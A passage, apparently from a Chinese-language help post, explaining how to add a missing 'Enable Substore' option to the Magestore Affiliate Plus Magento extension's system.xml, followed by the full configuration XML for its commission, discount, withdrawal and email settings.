<label>Transaction Process Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>70</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</transactions_separator>
<is_sent_email_account_new_transaction translate="label">
<label>Send email to affiliate when a transaction is created</label>
<frontend_type>select</frontend_type>
<sort_order>80</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_account_new_transaction>
<new_transaction_account_email_template translate="label">
<label>Email template sent to affiliate when a transaction is created</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>90</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_transaction_account_email_template>
<is_sent_email_sales_new_transaction translate="label">
<label>Send email to admin when a transaction is created</label>
<frontend_type>select</frontend_type>
<sort_order>100</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_sales_new_transaction>
<new_transaction_sales_email_template translate="label">
<label>Email template sent to admin when a transaction is created</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>110</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_transaction_sales_email_template>
<is_sent_email_account_updated_transaction translate="label">
<label>Send email to affiliates when transaction status is changed</label>
<frontend_type>select</frontend_type>
<sort_order>120</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Used when transaction is canceled, completed or reduced commission</comment>
</is_sent_email_account_updated_transaction>
<updated_transaction_account_email_template translate="label">
<label>Email template sent to affiliates when transaction status is changed</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>130</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Applied when transaction is canceled or completed</comment>
</updated_transaction_account_email_template>
<reduce_commission_account_email_template translate="label">
<label>Email template sent to affiliates when commission of a transaction is reduced</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>140</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</reduce_commission_account_email_template>
<!--add by viet email sent to affilate when transaction refund-->
<!-- <is_sent_email_refund translate="label">
<label>Send email to affiliate when a transaction refund</label>
<frontend_type>select</frontend_type>
<sort_order>146</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_refund>
<sent_mail_refund_email_template>
<label>Sent email to affiliate when a transaction refund</label>
<frontend_type>select</frontend_type>
<sort_order>148</sort_order>
<source_model>adminhtml/system_config_source_email_template</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</sent_mail_refund_email_template>-->
<!--end by viet-->
<payment_separator translate="label">
<label>Withdrawal Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>150</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</payment_separator>
<is_sent_email_sales_request_payment translate="label">
<label>Send email to admin when an affiliate requests withdrawal</label> 查看全部

111.jpg

此功能是4.3以后的就自带的,但是部分版本存在没有设置项的问题,请
修改
app/code/local/Magestore/Affiliateplus/etc/
位置的system.xml文件
<general>
 <substore_config translate="label comment">
                            <label>Enable Substore feature</label>
                            <frontend_type>select</frontend_type>
                            <sort_order>80</sort_order>
                            <source_model>adminhtml/system_config_source_yesno</source_model>
                            <show_in_default>1</show_in_default>
                            <show_in_website>1</show_in_website>
                            <show_in_store>1</show_in_store>
                            <comment>Each affiliate users will have a their own substore on your Magento shop to refer more customers.</comment>
                        </substore_config>
</general>
 

完整system.xml代码为[code]<?xml version="1.0"?>
<config>
<tabs>
<magestore translate="label">
<label>Magestore Extension</label>
<sort_order>400</sort_order>
</magestore>
</tabs>

<sections>
<affiliateplus translate="label" module="affiliateplus">
<class>separator-top</class>
<label>Affiliate Plus</label>
<tab>magestore</tab>
<frontend_type>text</frontend_type>
<sort_order>300</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<groups>
<!--Changed By Adam 11/09/2014: Add User Guide to configuration page-->
<document_help translate="label">
<label>Document and Help</label>
<frontend_type>text</frontend_type>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!-- <affiliateplus_document_and_help translate="label">
<label>To find all userguides and useful documents of Affiliate Plus extension, please visit our Resources page.</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_resourcepage</frontend_model>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_document_and_help>-->
<affiliateplus_installation_guide_separator translate="label">
<label>Affiliate Plus Installation</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>5</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_installation_guide_separator>
<affiliateplus_installation_guide translate="label">
<label>Affiliate Plus Installation Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_affiliateplusinstallation</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_installation_guide>
<affiliateplus_plugin_installation_guide translate="label">
<label>Affiliate Plus Plugin Installation Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_affiliateplusplugininstallation</frontend_model>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_plugin_installation_guide>
<affiliateplus_user_guide_separator translate="label">
<label>Affiliate Plus User Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_user_guide_separator>
<affiliateplus_standard_user_guide translate="label">
<label>Affiliate Plus Standard User Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_standard</frontend_model>
<sort_order>45</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_standard_user_guide>
</fields>
</document_help>
<general translate="label">
<label>General Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!--Changed By Adam 28/07/2014-->
<enable translate="label">
<label>Enable Affiliate Plus Module</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</enable>
<show_affiliate_link_on_frontend translate="label">
<label>Show Affiliate link in frontend</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</show_affiliate_link_on_frontend>

<welcome_page translate="label comment">
<label>Welcome page using CMS</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_cms_page</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select Welcome page of your Affiliate system</comment>
</welcome_page>

<material_enable translate="label">
<label>Show Material page</label>
<frontend_type>select</frontend_type>
<sort_order>30</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</material_enable>
<material_page translate="label comment">
<label>Material page using CMS</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_cms_page</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<material_enable>1</material_enable>
</depends>
<comment>Create CMS page and manage there</comment>
</material_page>
<substore_config translate="label comment">
<label>Enable Substore feature</label>
<frontend_type>select</frontend_type>
<sort_order>80</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Each affiliate users will have a their own substore on your Magento shop to refer more customers.</comment>
</substore_config>
<expired_time translate="label comment">
<label>Cookie Expiration (Days)</label>
<frontend_type>text</frontend_type>
<sort_order>70</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>The number of days for admin to store cookies of this program. Affiliates and invited customers can receive commission and discount for purchases made through affiliate link within this time.</comment>
</expired_time>
</fields>
</general>
<account>
<label>Account Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>3</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<sign_up_separator translate="label">
<label>Affiliate Sign-up</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sign_up_separator>
<!--
hainh update add terms and conditions field, auto create aff config
21-07-2014
-->
<terms_and_conditions translate="label">
<label>Terms and Conditions</label>
<frontend_type>textarea</frontend_type>
<sort_order>8</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Leave blank for not showing Terms and Conditions</comment>
</terms_and_conditions>
<auto_create_affiliate translate="label">
<label>Auto create Affiliate account when Customer registers</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</auto_create_affiliate>
<!-- hainh end editing -->
<register_description translate="label">
<label>Sign-up description</label>
<frontend_type>textarea</frontend_type>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</register_description>
<required_address translate="label">
<label>Require address to sign up</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>12</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</required_address>
<required_paypal translate="label">
<label>Require PayPal email address to sign up</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>13</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</required_paypal>
<need_approved translate="label">
<label>Need admin's approval</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>14</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</need_approved>
<notification_after_signing_up translate="label">
<label>Notification after signing up</label>
<frontend_type>textarea</frontend_type>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</notification_after_signing_up>

<balance_separator translate="label">
<label>Account Balance</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</balance_separator>
<balance translate="label">
<label>Account Balance Scope</label>
<frontend_type>select</frontend_type>
<sort_order>30</sort_order>
<source_model>affiliateplus/system_config_source_scope</source_model>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment>Select website(s) on which affiliates can use commissions to purchase items.</comment>
</balance>
</fields>
</account>

<commission>
<label>Commission Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>4</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<calculate_separator translate="label">
<label>Pay per Sales/ Profit Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</calculate_separator>
<affiliate_type translate="label">
<label>Pay commission</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_type</source_model>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</affiliate_type>
<commission_type translate="label">
<label>Commission Type</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_fixedpercentage</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</commission_type>
<commission translate="label">
<label>Commission Value</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</commission>

<use_secondary translate="label comment">
<label>Use different commission from 2nd order of a Customer</label>
<frontend_type>select</frontend_type>
<sort_order>35</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select "No" to apply the above commission to all orders</comment>
</use_secondary>
<secondary_type translate="label">
<label>Commission Type (from 2nd order)</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_fixedpercentage</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_type>
<secondary_commission translate="label">
<label>Commission Value (from 2nd order)</label>
<frontend_type>text</frontend_type>
<sort_order>45</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_commission>

<process_separator translate="label">
<label>Process Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>420</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</process_separator>

<!--Added By Adam (29/08/2016): allow affiliate to get commission from his purchase-->
<allow_affiliate_get_commission_from_his_purchase translate="label comment">
<label>Allow affiliate to get commission from his purchase</label>
<frontend_type>select</frontend_type>
<sort_order>425</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</allow_affiliate_get_commission_from_his_purchase>
<!--End code-->

<updatebalance_orderstatus translate="label">
<label>Add commission to affiliate account balance when order status is</label>
<frontend_type>select</frontend_type>
<sort_order>430</sort_order>
<source_model>affiliateplus/system_config_source_orderstatus</source_model> <!--Changed By Adam 22/08/2014-->
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>
If you select order's status as "processing", the commission just be calculate for the items that have been invoiced.
</comment>
</updatebalance_orderstatus>
<holding_period translate="label comment">
<label>Holding period</label>
<frontend_type>text</frontend_type>
<sort_order>435</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>(days). If empty or zero, affiliates' commission will not be hold back.</comment>
</holding_period>
<decrease_commission_creditmemo translate="label">
<label>Subtract commission from affiliate account balance when credit memo is created</label>
<frontend_type>select</frontend_type>
<sort_order>440</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</decrease_commission_creditmemo>
<cancel_transaction_orderstatus translate="label">
<label>Subtract commission from account balance when order status is</label>
<frontend_type>multiselect</frontend_type>
<sort_order>450</sort_order>
<source_model>adminhtml/system_config_source_order_status</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</cancel_transaction_orderstatus>

<lifetime_separator translate="label">
<label>Lifetime Sales Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>400</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</lifetime_separator>
<life_time_sales translate="label comment">
<label>Lifetime Sales Commission</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>410</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment><![CDATA[Customer first buys through affiliate A's link, though later clicks affiliate B's link and buys, this transaction will still be counted for affiliate A.]]></comment>
</life_time_sales>
</fields>
</commission>

<discount>
<label>Discount Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>5</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<allow_discount translate="label">
<label>When there's shopping cart discount, apply</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discount</source_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</allow_discount>

<discount_type translate="label">
<label>Discount Type</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discounttype</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</discount_type>

<discount translate="label">
<label>Discount Value</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</discount>

<use_secondary translate="label comment">
<label>Use different discount from 2nd order of a Customer</label>
<frontend_type>select</frontend_type>
<sort_order>35</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select "No" to apply above discount for all orders</comment>
</use_secondary>
<secondary_type translate="label">
<label>Discount Type (from 2nd order)</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discounttype</source_model>
<sort_order>37</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_type>
<secondary_discount translate="label">
<label>Discount Value (from 2nd order)</label>
<frontend_type>text</frontend_type>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_discount>

<type_discount translate="label">
<label>Discount displayed</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_cartproduct</source_model>
<sort_order>50</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</type_discount>
</fields>
</discount>

<payment translate="label">
<label>Withdrawal Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!--edit by blanka-->
<default_method translate="label">
<label>Default payment method</label>
<frontend_type>select</frontend_type>
<sort_order>112</sort_order>
<source_model>affiliateplus/system_config_source_payments</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Select default payment method when affiliates request payment]]></comment>
</default_method>
<!--end edit by blanka-->
<store_credit translate="label">
<label>Use commission as store credit</label>
<frontend_type>select</frontend_type>
<sort_order>112</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Allow affiliates to use commission to check out at your store]]></comment>
</store_credit>
<withdrawals translate="label">
<label>Allow withdrawal request</label>
<frontend_type>select</frontend_type>
<sort_order>117</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</withdrawals>

<payment_release translate="label">
<label>The minimum balance in affiliate account to request withdrawal</label>
<frontend_type>text</frontend_type>
<sort_order>120</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</payment_release>

<tax_class translate="label comment">
<label>Tax class for withdrawal</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_shipping_taxclass</source_model>
<sort_order>125</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</tax_class>

<!-- <tax_calc translate="label">
<label>Tax Calculation</label>
<frontend_type>select</frontend_type>
<sort_order>130</sort_order>
<source_model>affiliateplus/system_config_source_feetax</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</tax_calc> -->

<!-- <payment_method>
<label>Paypal Withdrawal method</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_paymentmethod</source_model>
<sort_order>130</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</payment_method>-->

<who_pay_fees translate="label">
<label>Who pays transaction fee</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_whopayfees</source_model>
<sort_order>140</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</who_pay_fees>

<cancel_days translate="label">
<label>Allow affiliates to cancel withdrawal request within</label>
<frontend_type>text</frontend_type>
<sort_order>150</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>days. 0 or empty is unlimited.</comment>
</cancel_days>

<reduce_balance translate="label">
<label>Subtract affiliate account balance immediately when a withdrawal request is created</label>
<frontend_type>select</frontend_type>
<sort_order>135</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</reduce_balance>

</fields>
</payment>

<email translate="label">
<label>Email Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<sender_contact_separator translate="label">
<label>System Email Sender</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sender_contact_separator>
<name_sender translate="label">
<label>Sender Name</label>
<frontend_type>text</frontend_type>
<sort_order>2</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</name_sender>
<email_sender translate="label">
<label>Sender Email</label>
<frontend_type>text</frontend_type>
<validate>validate-email</validate>
<sort_order>3</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Used to send emails from system to affiliates. If blank, affiliate system will use general store email address.]]></comment>
</email_sender>
<sign_up_separator translate="label">
<label>Affiliate Sign-up Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sign_up_separator>
<is_sent_email_new_account translate="label">
<label>Send email to new affiliate</label>
<frontend_type>select</frontend_type>
<sort_order>20</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_new_account>
<new_account_email_template translate="label">
<label>Email template sent to newly registered affiliates</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_account_email_template>
<approved_account_email_template translate="label">
<label>Email template sent to newly approved affiliates</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</approved_account_email_template>
<is_sent_to_sales_new_account>
<label>Send email to admin when a new affiliate registers</label>
<frontend_type>select</frontend_type>
<sort_order>50</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_to_sales_new_account>
<new_account_sales_email_template>
<label>Email template sent to admin when a new affiliate registers</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>60</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_account_sales_email_template>

<transactions_separator translate="label">
<label>Transaction Process Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>70</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</transactions_separator>
<is_sent_email_account_new_transaction translate="label">
<label>Send email to affiliate when a transaction is created</label>
<frontend_type>select</frontend_type>
<sort_order>80</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_account_new_transaction>
<new_transaction_account_email_template translate="label">
<label>Email template sent to affiliate when a transaction is created</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>90</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_transaction_account_email_template>
<is_sent_email_sales_new_transaction translate="label">
<label>Send email to admin when a transaction is created</label>
<frontend_type>select</frontend_type>
<sort_order>100</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_sales_new_transaction>
<new_transaction_sales_email_template translate="label">
<label>Email template sent to admin when a transaction is created</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>110</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_transaction_sales_email_template>
<is_sent_email_account_updated_transaction translate="label">
<label>Send email to affiliates when transaction status is changed</label>
<frontend_type>select</frontend_type>
<sort_order>120</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Used when transaction is canceled, completed or reduced commission</comment>
</is_sent_email_account_updated_transaction>
<updated_transaction_account_email_template translate="label">
<label>Email template sent to affiliates when transaction status is changed</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>130</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Applied when transaction is canceled or completed</comment>
</updated_transaction_account_email_template>
<reduce_commission_account_email_template translate="label">
<label>Email template sent to affiliates when commission of a transaction is reduced</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>140</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</reduce_commission_account_email_template>
<!--add by viet email sent to affilate when transaction refund-->
<!-- <is_sent_email_refund translate="label">
<label>Send email to affiliate when a transaction refund</label>
<frontend_type>select</frontend_type>
<sort_order>146</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
